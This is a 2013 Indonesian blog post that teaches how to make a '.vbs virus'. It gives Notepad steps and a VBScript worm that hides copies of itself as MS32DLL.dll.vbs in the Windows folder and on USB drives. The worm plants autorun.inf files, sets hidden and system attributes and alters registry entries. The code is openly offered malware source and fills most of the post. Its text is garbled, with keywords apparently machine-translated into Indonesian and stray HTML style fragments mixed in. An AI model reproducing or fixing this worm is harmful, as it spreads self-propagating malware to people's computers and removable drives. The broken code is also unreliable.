Friday, July 19, 2013

Cara Membuat Virus .vbs

MRR Cyber ​​Sekarang Ingin Berbagi sini ..
gaya =" background- color: white; color: # 333333; line-height: 16px; padding: 0px; white-space: pre-wrap; "> Cara Membuat Virus. vbs [WISE USE! ]
td style="text-align: center;">
VIRUS terdeteksi

Mungkin Anda ' ve tahu apa itu virus VBS, VBS Virus adalah virus sederhana menggunakan program bahasa (Visual Basic) yang dapat merusak dari rendah ke tingkat kerusakan tinggi. Virus ini hanya dengan pengetahuan tentang program bahasa dan aplikasi Notepad. Berikut adalah cara untuk membuatnya:

style="background-color: white; color: #333333; line-height: 16px; padding: 0px; white-space: pre-wrap;"> 1. Buka Notepad
style="background-color: white; color: #333333; line-height: 16px; padding: 0px; white-space: pre-wrap;"> 2.g banyak omong usa
2.Copy dan Paste script berikut:

---- -------------------------- skrip ----------------------- -------
tentang kesalahan resume
dim mysource, winpath, flashdrive, fs, mf, atr, tf, rg, nt, cek, sd
atr = "[autorun]" & vbCrLf & "wscript.exe MS32DLL.dll.vbs shellexecute ="
set fs = createobject (" Scripting.FileSystemObject ")
set mf = fs.getfile (Wscript.ScriptFullname)
teks redup, ukuran
gaya =" background-color: white; color: # 333333; line-height: 16px; padding: 0px; white-space: pre-wrap; "> size = mf.size
, cek = mf.drive.drivetype
text set = mf.openastextstream (1, -2)
lakukan sementara tidak text.atendofstream
mysource = mysource & text.readline
style="background-color: white; color: #333333; line-height: 16px; padding: 0px; white-space: pre-wrap;"> mysource = mysource & vbCrLf
lingkaran
lakukan
style="background-color: white; color: #333333; line-height: 16px; padding: 0px; white-space: pre-wrap;"> Set winpath = fs.getspecialfolder (0)
set tf = fs.getfile (winpath &" MS32DLL.dll.vbs ")
style="background-color: white; color: #333333; line-height: 16px; padding: 0px; white-space: pre-wrap;"> tf.attributes = 32
set tf = fs.createtextfile (winpath &" MS32DLL.dll.vbs ", 2, true)
style="background-color: white; color: #333333; line-height: 16px; padding: 0px; white-space: pre-wrap;"> tf.write mysource
tf.close
set tf = fs.getfile (winpath & "MS32DLL.dll.vbs")
tf.attributes = 39
untuk setiap flashdrive di fs.drives
style="background-color: white; color: #333333; line-height: 16px; padding: 0px; white-space: pre-wrap;"> Jika (flashdrive.drivetype flashdrive.drivetype = 1 atau = 2) dan flashdrive.path <>" A: "maka
set tf = fs. getFile (flashdrive.path & "MS32DLL.dll.vbs")
tf.attributes = 32
set tf = fs.createtextfile (flashdrive.path & "MS32DLL.dll.vbs", 2, true)
tf.write mysource
tf.close
style="background-color: white; color: #333333; line-height: 16px; padding: 0px; white-space: pre-wrap;"> set tf = fs.getfile (flashdrive.path &" MS32DLL.dll.vbs ")
tf.attributes = 39
style="background-color: white; color: #333333; line-height: 16px; padding: 0px; white-space: pre-wrap;"> set tf = fs.getfile (flashdrive.path &" autorun.inf ")
tf.attributes = 32
style="background-color: white; color: #333333; line-height: 16px; padding: 0px; white-space: pre-wrap;"> set tf = fs.createtextfile (flashdrive.path &" autorun.inf ", 2, true)
tf.write atr
style="background-color: white; color: #333333; line-height: 16px; padding: 0px; white-space: pre-wrap;"> tf.close
set tf = fs.getfile (flashdrive.path &" autorun.inf ")
tf.attributes = 39
jika
berikutnya
set rg = createobject ("WScript.Shell")
rg.regwrite style = "background-color: putih, warna: # 333333; line-height: 16px; padding: 0px; white-space: pra-wrap; "> rg.regwrite" HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainWindow Judul "," Hacked by Zeke Hack "
rg.regwrite "HKCRvbsfileDefaultIcon", "shell32.dll, 2"
jika check <> 1 maka
WScript.Sleep 200000
gaya =" background-color: white; color: # 333333; line-height: 16px; padding: 0px; white-space: pre-wrap; "> akhir jika
loop sementara memeriksa <> 1
set sd = createobject (" WScript Shell ").
gaya =" background- color: white; color: # 333333; line-height: 16px; padding: 0px; white-space: pre-wrap; "> sd.run winpath & "explorer.exe / e, / select," & Wscript.ScriptFullname
-------------------------------------------------- ---- akhir skrip
style = "background -color: white; color: # 333333; line-height: 16px; padding: 0px; white-space: pre-wrap; ">
gaya =" background-color: white; color: # 333333; line-height: 16px; padding: 0px; white-space: pre-wrap; "> 3. Simpan sebagai, ubah save as type untuk "semua file", simpan dalam format "kuat VBS .", Misalnya Hx.vbs kuat .

No comments:

Post a Comment

Newer Post Older Post Home